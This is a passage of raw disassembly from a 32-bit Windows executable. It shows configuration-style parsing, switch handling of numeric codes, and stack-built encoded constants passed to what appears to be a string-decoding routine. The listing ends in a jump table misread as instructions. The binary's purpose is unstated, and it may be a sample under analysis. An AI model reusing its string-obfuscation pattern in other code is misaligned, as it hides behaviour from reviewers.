mov ecx, 0x47a6e4
call fcn.004031a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x26
call fcn.0040f240
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040f320
mov esi, eax
add esp, 8
cmp esi, 0x47a714
je 0x40abfe
mov ecx, 0x47a714
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47a714], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47a724], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x27
jb 0x40ac43
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ac48
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a6fc
call fcn.004031a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x28
jb 0x40ac99
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aca0
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a6cc
call fcn.004031a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xb8], 0
je 0x40ad5d
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00405d40
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x29
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402120
push esi
call fcn.004140b0
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040ef30
add esp, 0x34
mov ecx, 0x47a72c
push eax
call fcn.00407e30
lea ecx, [ebp - 0x64]
call fcn.0040b470
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xd0], 0
je 0x40adff
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00405d40
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2a
sub esp, 0x18
add eax, 0xc0
mov ecx, esp
push eax
call fcn.00402120
push esi
call fcn.004140b0
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040ef30
add esp, 0x34
mov ecx, 0x47a738
push eax
call fcn.00407e30
lea ecx, [ebp - 0x64]
call fcn.0040b470
mov eax, dword [ebp - 0x1dc]
mov dword [0x47a774], 0xf018b3
jmp 0x40ae09
mov dword [0x47a774], 0
push 0xa
push 0
sub esp, 0x18
add eax, 0x108
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2b
call fcn.0040f240
add esp, 0xc
mov dword [0x47a778], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0x130], 0
lea edx, [eax + 0x120]
je 0x40aead
sub esp, 0x18
mov ecx, esp
push edx
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2c
jb 0x40ae81
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ae86
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a75c
call fcn.004031a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
add eax, 0x138
cmp dword [eax + 0x10], 0
je 0x40af03
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2d
jb 0x40aedd
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aee2
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a744
call fcn.004031a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x47a77c], 1
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x998995ba
mov word [ebp - 0x28], 0x100
call fcn.00407eb0
mov esi, eax
cmp esi, 0x47a780
je 0x40af5f
mov ecx, 0x47a780
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47a780], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47a790], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
jmp 0x40af70
mov byte [0x47a77d], 1
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x409c6c
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40afa2
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40afa2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045fabc
add esp, 8
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
lea ecx, [ebp - 0x1dc]
mov byte [0x47a77c], 1
call fcn.0040b470
jmp 0x40b212
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov byte [0x47a77c], 1
mov ecx, esp
mov byte [0x47a884], 1
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.004140b0
add esp, 0x1c
mov ecx, 0x47a8a0
push eax
call fcn.00407dc0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 0xbbd
jg 0x40b155
je 0x40b10c
cmp eax, 0x41c
jg 0x40b105
je case.0x409cb9.701
sub eax, 0x3e9
je case.0x409cb9.637
sub eax, 0xa
jne case.0x409cb9.637
push 0x47a8e8
lea ecx, [ebp - 0xc0]
call fcn.00402120
cmp dword [0x47a914], 0x10
lea eax, [ebp - 0xc0]
push dword [0x47a910]
mov ecx, 0x47a900
cmovae ecx, dword [0x47a900]
cmp dword [ebp - 0xac], 0x10
push ecx
cmovae eax, dword [ebp - 0xc0]
push dword [ebp - 0xb0]
push eax
call fcn.00406980
add esp, 0x10
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xc0]
call fcn.004014e0
cmp byte [ebp - 0x1c9], 0
jne 0x409c4b
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x47a77c], 0
cmp dword [edx + 0x14], 0x10
jb 0x40b0d9
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b0e0
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a798
call fcn.004031a0
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 0xbbc
jne case.0x409cb9.637
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x47a77c], 0
cmp dword [edx + 0x14], 0x10
jb 0x40b124
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b130
sub ecx, esi
push ecx
push edx
mov ecx, 0x47a798
call fcn.004031a0
lea ecx, [ebp - 0x1dc]
call fcn.0040b470
jmp 0x40b212
cmp eax, 0xd1f
je 0x409c4b
cmp eax, 0x19b4
je 0x40b1aa
cmp eax, 0x2719
je 0x40b17a
mov byte [0x47a77c], 0
jmp 0x409c4b
lea ecx, [ebp - 0x68]
mov byte [0x47a77c], 0
mov dword [ebp - 0x68], 0x998f94b0
mov dword [ebp - 0x64], 0x6c9e908f
mov dword [ebp - 0x60], 0x76714721
mov dword [ebp - 0x5c], 0x100746a
call fcn.0040bf00
jmp 0x409c5c
lea ecx, [ebp - 0x1dc]
mov word [0x47a77c], 0x100
call fcn.0040b470
jmp 0x40b212
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0045faca
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.invalid_stoi_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__
push str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__
call fcn.00401460
nop dword [eax]
shr dword [edi - 0x633fffc0], cl
inc eax
add byte [ecx + ebp*4 + 0x40], dl
add byte [esi - 0x50], dl
inc eax
add byte [edi + ebp*4 - 0x4e91ffc0], bh
inc eax
add byte [eax], al
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 33621253
add eax, 84215045
add eax, 50660613
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84148997
add eax, 50595077
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 50660613
int3